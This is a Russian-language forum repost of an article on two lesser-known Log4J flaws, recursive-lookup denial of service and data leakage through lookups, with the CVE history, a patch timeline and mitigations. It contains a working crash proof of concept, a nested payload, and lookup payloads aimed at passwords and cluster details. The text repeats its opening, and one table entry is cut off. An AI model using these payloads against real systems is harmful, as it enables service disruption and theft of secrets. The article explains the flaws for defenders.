stihl не предоставил(а) никакой дополнительной информации.
Еще в декабре 2021-го, когда были найдены и закрыты четыре уязвимости Log4shell в Log4J, оказалось, что их на самом деле больше. Две из них — отказ в обслуживании и утечка данных — тогда широко известны не были. Лишь в сентябре 2022 года вендор официально признал их, но представил как часть тех самых четырех исходных багов. Поэтому патчей и новых CVE всем этим багам не положено.
В декабре 2021-го в Log4J обнаружили кучу серьезных уязвимостей. Самая критичная открывала дорогу для удаленного выполнения кода.
Сюда входят:
Хронология раскрытия уязвимостей
Эти четыре проблемы возникли из‑за алгоритма поиска строк, который позволял злоумышленникам встраивать непроверенные данные в приложение и эксплуатировать уязвимости, похожие на SQL-инъекции. Самая опасная из них – возможность загрузки кода с удаленного сервера через JNDI и его выполнение. Да, ты угадал, речь о Log4Shell!
Пример полезной нагрузки для Log4shell
через JNDI lookup
Иллюстрация схемы атаки через Log4J
Заплатки выходили по графику, представленному в таблице.
или Зарегистрируйся в Log4J с версией 2.0 в октябре 2010 года.
В какой‑то момент фичу изменили, чтобы позволить подстановки во входящих данных, которые записываются в лог (скорее всего, это произошло в октябре 2011 года). Со временем стали добавляться новые классы подстановок. Для просмотра ссылки Войдиили Зарегистрируйся в июле 2013-го. А код JNDI ведет свое начало от Java EE из 90-х.
Если же эту фичу использовать не по назначению, она может стать настоящей головной болью для безопасников. Виной всему — нестыковка множества систем, которые вообще‑то не стоило бы друг с другом соединять:
или Зарегистрируйся
Вот код из класса Для просмотра ссылки Войдиили Зарегистрируйся, который обрабатывает входящие сообщения журнала. Как видно, он ищет символ доллара и переадресует вызов классу StrSubstitutor.
В Log4J класс StrSubstitutor — это главный вход для всяких lookup-функций. Он опирается на интерфейс StrLookup, который реализован множеством классов, каждый из которых тянет свой тип лукапа (большинство из них обитает в пакете Для просмотра ссылки Войди или Зарегистрируйся). Вся эта компания подключается через Для просмотра ссылки Войди или Зарегистрируйся, создавая коннекты с другими компонентами (кстати, кастомные лукапы тоже поддерживаются). Один из методов поиска предоставляет поддержку Java Naming and Directory Interface (JNDI) — это реализовано в классе JNDILookup.
Ниже — интерфейс Для просмотра ссылки Войдиили Зарегистрируйся и простой вариант поиска:
Этот код в классе Для просмотра ссылки Войди или Зарегистрируйся прокладывает мост между поисковыми операциями и устаревшим кодом JNDI (Java EE), который все еще таится в недрах Java:
или Зарегистрируйся).
Каждая вложенная функция использует часть памяти стека Java, которая отличается от основной памяти (кучи), используемой для большинства процессов. Настраивается эта память параметром -Xss и в зависимости от твоей ОС и версии Java может варьироваться от одного мегабайта до одного гигабайта. Если переборщишь и превысишь этот лимит, тебя ожидает StackOverFlowError.
Хотя в Для просмотра ссылки Войдиили Зарегистрируйся упоминаются рекурсивные запросы, считалось, что эта уязвимость возникает лишь при нестандартных настройках, где используются контекстные вызовы. Но, как оказалось, проблему можно использовать и на стандартных настройках, отправив системе вредоносный пакет, который она попытается залогировать.
Этот баг пофиксили, отключив вызовы, но предыдущие версии и любые системы, использующие настройки Log4J, остаются уязвимыми в стандартных конфигурациях. Если отправить рекурсивный пейлоад на уязвимую систему, Log4J будет обрабатывать его до тех пор, пока у приложения не закончится память стека.
Размер стека в Java можно проверить с помощью такой команды:
Атака проводится «вслепую» и не требует получения никакой обратной связи от системы.
Для просмотра ссылки Войдиили Зарегистрируйся
Размер полезной нагрузки, который может валить JVM, зависит от настройки памяти стека. Ниже перечислены размеры полезной нагрузки, которые были протестированы на JDK 17.
Пример пейлоада:
В обычной версии внутренний поиск (${java:runtime}) вернет информацию о сборке JVM, а внешние поиски (${lower:xxx}) превратят эту инфу в нижний регистр. Вот так:
Но если у тебя Java с недостатком памяти и уязвимой версией Log4J, все накроется медным тазом примерно так:
Даже сегодня в последних версиях запросы можно использовать в конфигах — и это относится к самым свежим версиям Log4J (поскольку доступ к настройкам не входит в модель угроз проекта). Более того, запросы остаются доступными, даже если класс JNDILookup удален (это было рекомендованным способом минимизации угрозы без обновления библиотеки).
В этих трех сценариях (версии до 2.15, версии с удаленным классом JNDILookup и любые версии с доступом к конфигам) другие типы запросов все еще активны и могут слить информацию о системе.
В Log4J доступны следующие типы подстановок (подробнее можно почитать в Для просмотра ссылки Войдиили Зарегистрируйся):
Многие доступные функции поиска возвращают такие данные, как переменные окружения, системные свойства, Spring-параметры, информация о выполнении, секреты и тому подобное. Такие штуки, как атрибуты выполнения, могут использоваться для начальной разведки. Но есть нюанс: большинство из них не поддерживает подстановочные знаки — нужно точно знать имя переменной или свойства, которое ты хочешь вытащить.
Чтобы прочитать информацию из этих запросов, нужен доступ к логам. Таким образом, злоумышленник не сможет провернуть атаку вслепую. Ситуации, когда доступ возможен, это, например, сообщения об ошибках или облачные/SAAS-приложения, где пользователи могут смотреть логи.
Для просмотра ссылки Войдиили Зарегистрируйся
Код для проверки эксплоита:
В обновленной версии такой лукап работать не будет: по умолчанию все запросы отрубаются, так что на выходе получишь только следующее сообщение:
В уязвимой версии Log4J можно с помощью специального лукапа вытащить инфу о системе:
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся). Разработчики Log4J сочли это частью Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся, а также учтенной в прошлых релизах, так что новых CVE уязвимостям не выдавали и код не меняли. На момент написания этой статьи (июнь 2025-го) описания CVE еще не полностью обновлены в базе NVD/CVE, но уже есть на странице безопасности Log4J. А вот предыдущая инфа о том, как убрать класс JNDILookup, с этой странице исчезла.
Если ты не можешь обновиться, то прежние рекомендации разработчика не спасут от этих багов. И хотя теоретически можно откатить существующие патчи, чтобы отключить лукапы, этого лучше не делать. Прочие публичные заплатки, вроде упомянутого выше Java hotpatch agent, эти проблемы тоже не решают.
Доступ к конфигам Log4J лучше в корне пресечь — лукапы все еще работают в конфигах, и это может стать лазейкой для атак. Правда, с февраля 2023 года, как заявили в Apache, находки, связанные с доступом к конфигурации Log4J, больше не считаются уязвимостями. Но это не значит, что можно расслабиться!
info
Это близкий к тексту пересказ поста Для просмотра ссылки Войдиили Зарегистрируйся из блога Для просмотра ссылки Войдиили Зарегистрируйся. Весь текст статьи доступен для чтения без платной подписки.
Ранее рекомендуемые меры предосторожности вроде удаления класса JNDiLookup, для решения этих проблем не работают. Надо обновиться до версии с патчем при первой же возможности, если ты еще используешь старые методы. Системы, которые дают доступ к конфигам Log4J, пока остаются уязвимыми.
Log4J, Log4Shell и родственные уязвимости (CVE)
Логирование — это не просто какая‑то прихоть, а настоящая необходимость в софте. В Java появился API для логирования еще с версии 1.4 в 2002-м, но Log4J начал набирать популярность с 1999-го и давал фору по фичам. Из всех вариантов он стал самым популярным и используется во множестве приложений на Java.В декабре 2021-го в Log4J обнаружили кучу серьезных уязвимостей. Самая критичная открывала дорогу для удаленного выполнения кода.
Сюда входят:
- Для просмотра ссылки Войди
или Зарегистрируйся (CVSS 10.0), также известная как Log4Shell – позволяет выполнять lookup-выражения в данных, которые записываются в логах, что раскрывает уязвимость JNDI. - Для просмотра ссылки Войди
или Зарегистрируйся (CVSS 10.0) – когда в настройках логирования используется нестандартный паттерн с Context Lookup (например, $${ctx:loginId}), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные, используя шаблон JNDI Lookup. - Для просмотра ссылки Войди
или Зарегистрируйся (CVSS 6.6) – злоумышленник, имеющий право изменять файл конфигурации логирования, может создать вредоносную конфигурацию, используя JDBC Appender с источником данных, ссылающимся на JNDI URI. - Для просмотра ссылки Войди
или Зарегистрируйся (CVSS 5.9) – не защищает от неконтролируемой рекурсии при самоссылающихся запросах. Если в настройках логирования используется нестандартный паттерн с Context Lookup (например, $${ctx:loginId}), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные с рекурсивным запросом, что вызовет StackOverflowError и остановит процесс.

Эти четыре проблемы возникли из‑за алгоритма поиска строк, который позволял злоумышленникам встраивать непроверенные данные в приложение и эксплуатировать уязвимости, похожие на SQL-инъекции. Самая опасная из них – возможность загрузки кода с удаленного сервера через JNDI и его выполнение. Да, ты угадал, речь о Log4Shell!

через JNDI lookup

Заплатки выходили по графику, представленному в таблице.
Дата | Версия | Исправленные CVE | Примечания |
---|---|---|---|
2021-12-10 | 2.15.0 | CVE-2021-44228 | Исправлена основная уязвимость Log4Shell, отключает лукапы, но их можно снова включить через параметр |
2021-12-13 | 2.16.0 | CVE-2021-45046 | Исправлена проблема с контекстными лукапами; отключает лукапы для записанных данных |
2021-12-18 | 2.17.0 | CVE-2021-45105 | Исправлена проблема отказа в обслуживании; отключает большинство рекурсивных лукапов |
2021-12-28 | 2.17.1 | CVE-2021-44832 | Исправлена проблема с файлом конфигурации; ограничивает URL контекста JNDI до java |
info
Сразу после первых двух обновлений команда Corretto из Amazon выпустила хотфикс для исправления этих двух уязвимостей. Заплатка может быть применена на лету к работающей JVM в виде агента (подробности в Для просмотра ссылки Войдиили Зарегистрируйся и на Для просмотра ссылки Войдиили Зарегистрируйся). Другие проблемы этим патчем не решаются.
На декабрь 2021 года в Apache рекомендовали следующие меры предосторожности для тех, кто не может обновиться (подробнее смотри на Для просмотра ссылки Войдиили Зарегистрируйся):
- Проблемы с Log4Shell (CVE-2021-44228 и CVE-2021-45046) — удали класс JndiLookup из classpath. Если у тебя версия Log4j ниже 2.16.0, просто убери JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Также обрати внимание на вариант с хотпатчем выше.
- В конфиге журналирования в разделе PatternLayout замени вызовы Context Lookups типа ${ctx:loginId} или $${ctx:loginId} на паттерны Thread Context Map (%X, %mdc или %MDC).
- Если это не вариант, просто убери всякие упоминания Context Lookups вроде ${ctx:loginId} или $${ctx:loginId}, которые берут данные из внешних источников, таких как HTTP-заголовки или пользовательский ввод.
Строковая интерполяция и Java EE: точки пересечения
Одна из фишек Log4J и прочих Java-библиотек — это замены свойств (они же подстановки). Они позволяют заменять плейсхолдеры вроде ${xxx:yyy} на другие значения, аналогично тому, как это происходит в bash и прочих языках. В Log4J такие штуки добавили, чтобы упростить настройку, и изначально их использовали в конфигурационных файлах, а не в логируемых данных. Для просмотра ссылки ВойдиВ какой‑то момент фичу изменили, чтобы позволить подстановки во входящих данных, которые записываются в лог (скорее всего, это произошло в октябре 2011 года). Со временем стали добавляться новые классы подстановок. Для просмотра ссылки Войди
Если же эту фичу использовать не по назначению, она может стать настоящей головной болью для безопасников. Виной всему — нестыковка множества систем, которые вообще‑то не стоило бы друг с другом соединять:
- поиск строк в конфиге;
- обработка входящих логов с небезопасными данными;
- старый Java EE/JNDI-код из 90-х.
Вот код из класса Для просмотра ссылки Войди
Код:
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
Ниже — интерфейс Для просмотра ссылки Войди
Код:
public interface StrLookup {
String CATEGORY = "Lookup";
String lookup(LogEvent event, String key);
}
Код:
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
...
Уязвимость 1: отказ в обслуживании
Многие типы строкового поиска в Log4J рекурсивны и могут быть вложены друг в друга (код можешь посмотреть Для просмотра ссылки ВойдиКаждая вложенная функция использует часть памяти стека Java, которая отличается от основной памяти (кучи), используемой для большинства процессов. Настраивается эта память параметром -Xss и в зависимости от твоей ОС и версии Java может варьироваться от одного мегабайта до одного гигабайта. Если переборщишь и превысишь этот лимит, тебя ожидает StackOverFlowError.
Хотя в Для просмотра ссылки Войди
Этот баг пофиксили, отключив вызовы, но предыдущие версии и любые системы, использующие настройки Log4J, остаются уязвимыми в стандартных конфигурациях. Если отправить рекурсивный пейлоад на уязвимую систему, Log4J будет обрабатывать его до тех пор, пока у приложения не закончится память стека.
Размер стека в Java можно проверить с помощью такой команды:
java -XX:+PrintFlagsFinal -version | grep \ ThreadStackSize
intx ThreadStackSize = 1024
Атака проводится «вслепую» и не требует получения никакой обратной связи от системы.
Для просмотра ссылки Войди
Размер полезной нагрузки, который может валить JVM, зависит от настройки памяти стека. Ниже перечислены размеры полезной нагрузки, которые были протестированы на JDK 17.
Размер памяти стека (-Xss) | Количество вложенных циклов до сбоя | Размер пейлоада |
---|---|---|
144 Кбайт (минимум) | 100 | 1 Кбайт |
1 024 Кбайт (по умолчанию) | 3 000 | 27 Кбайт |
1 Гбайт (максимум) | 18 000 | 162 Кбайт |
Пример эксплоита
Код для проверки возможности эксплуатации:
Код:
import org.apache.logging.log4j.LogManager;
public class Test {
public static void main(String[] args) {
int rounds = 100;
String payload = "${lower:".repeat(rounds) +
"${java:runtime}" +
"}".repeat(rounds);
System.out.println("Payload size: " + payload.length());
LogManager.getRootLogger().error(payload);
}
}
Пример пейлоада:
Код:
${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}
В обычной версии внутренний поиск (${java:runtime}) вернет информацию о сборке JVM, а внешние поиски (${lower:xxx}) превратят эту инфу в нижний регистр. Вот так:
Payload size: 915
22:25:59.991 [main] ERROR - openjdk runtime environment (build 17.0.7+7-lts)
Но если у тебя Java с недостатком памяти и уязвимой версией Log4J, все накроется медным тазом примерно так:
Код:
Payload size: 915
Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)
Уязвимость 2: утечка данных
Оказалось, что JNDI-запросы — настоящие бомбы замедленного действия, но это всего лишь один из многих типов запросов, которые доступны в Log4J. Исправления для уязвимости Log4Shell отключают интерполяцию запросов в логах, однако в версиях до 2.15 все еще доступны все типы запросов.Даже сегодня в последних версиях запросы можно использовать в конфигах — и это относится к самым свежим версиям Log4J (поскольку доступ к настройкам не входит в модель угроз проекта). Более того, запросы остаются доступными, даже если класс JNDILookup удален (это было рекомендованным способом минимизации угрозы без обновления библиотеки).
В этих трех сценариях (версии до 2.15, версии с удаленным классом JNDILookup и любые версии с доступом к конфигам) другие типы запросов все еще активны и могут слить информацию о системе.
В Log4J доступны следующие типы подстановок (подробнее можно почитать в Для просмотра ссылки Войди
Паттерн | Описание | Паттерн | Описание |
---|---|---|---|
${bundle:xxx:xxx} | Ресурсные бандлы | ${log4j:xxx} | Настройки Log4J |
${ctx:xxx} | Карта контекста потока | ${lower:xxx} | Преобразует в нижний регистр |
${date:xxx} | Дата/время | ${main:xxx} | Аргументы для исполняемых файлов / main() |
${docker:xxx} | Атрибуты Docker | ${map:xxx} | Поиск по карте |
${env:xxx} | Переменные окружения | ${marker:xxx} | Маркеры |
${event:xxx} | Поля объекта события в логе | ${spring:xxx} | Свойства Spring |
${java:xx} | Информация о Java runtime | ${sd:xxx} | Структурированные данные |
${jndi:xxx} | Удаленные вызовы JNDI | ${sys:xxx} | Свойства системы |
${jvmrunargs:xxx} | Аргументы JVM (только JMX) | ${upper:xxx} | Преобразует в верхний регистр |
${k8s:xxx} | Информация о контейнере Kubernetes | ${web:xxx} | Переменные/атрибуты контекста сервлета |
Чтобы прочитать информацию из этих запросов, нужен доступ к логам. Таким образом, злоумышленник не сможет провернуть атаку вслепую. Ситуации, когда доступ возможен, это, например, сообщения об ошибках или облачные/SAAS-приложения, где пользователи могут смотреть логи.
Для просмотра ссылки Войди
Пример эксплуатации
В таблице — примеры полезных нагрузок.Шаблон | Описание |
---|---|
${env | Пароль от Postgres, который хранится в переменной среды |
${log4j:log4j2.trustStorePassword} | Пароль хранилища ключей из свойств Log4J |
${spring:spring.mail.password} | Пароль SMTP из Spring |
${docker:containerName} | Имя контейнера в Docker |
${k8s:masterUrl} | URL мастера Kubernetes |
${java:runtime} | Информация о среде выполнения JVM |
Код:
import org.apache.logging.log4j.LogManager;
public class Test2 {
public static void main(String[] args) {
String payload = "${java:runtime}";
LogManager.getRootLogger().error(payload);
}
}
В обновленной версии такой лукап работать не будет: по умолчанию все запросы отрубаются, так что на выходе получишь только следующее сообщение:
javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.java> java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2
12:39:48.062 [main] ERROR - ${java:runtime}
В уязвимой версии Log4J можно с помощью специального лукапа вытащить инфу о системе:
javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.java> java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2
12:39:19.843 [main] ERROR - OpenJDK Runtime Environment (build 17.0.8+7-LTS)
Ответ производителя
Apache и проект Log4J засветили эту проблему еще в сентябре 2022-го с выходом версии Log4J 2.19 — через обновление страницы безопасности (Для просмотра ссылки Войдиinfo
Код:
Многие вендоры, использующие Log4J в своих продуктах, громко заявляли, что убрали класс JNDILookup для защиты. Но если они не перешли на новые версии, то их софт еще уязвим к проблемам, описанным в этой статье. Да и последние версии не спасают, если кто‑то имеет доступ к конфигам Log4J.
Уязвимые версии и способы защиты
Под ударом оказались следующие версии Log4J:- Все версии Log4J v2 до v2.15, кроме v2.12.2-4 (Java 7) и v2.3.1-2 (Java 6).
- В v2.15, v2.12.2 (Java 7) и v2.3.1 (Java 6) поиск в логах по умолчанию отключен, но его можно активировать снова. Если снова включить поиск или использовать контекстные поиски (CVE-2021-45046), то эти версии уязвимы.
- Версии от v2.16+, v2.12.3+ (Java 7) и v2.3.2 (Java 6) остаются уязвимыми, если предоставлен доступ к конфигурационным файлам.
- Log4J v1 не подвержен уязвимости, кроме случаев, когда используется JMSAppender (см. Для просмотра ссылки Войди
или Зарегистрируйся).
Если ты не можешь обновиться, то прежние рекомендации разработчика не спасут от этих багов. И хотя теоретически можно откатить существующие патчи, чтобы отключить лукапы, этого лучше не делать. Прочие публичные заплатки, вроде упомянутого выше Java hotpatch agent, эти проблемы тоже не решают.
Доступ к конфигам Log4J лучше в корне пресечь — лукапы все еще работают в конфигах, и это может стать лазейкой для атак. Правда, с февраля 2023 года, как заявили в Apache, находки, связанные с доступом к конфигурации Log4J, больше не считаются уязвимостями. Но это не значит, что можно расслабиться!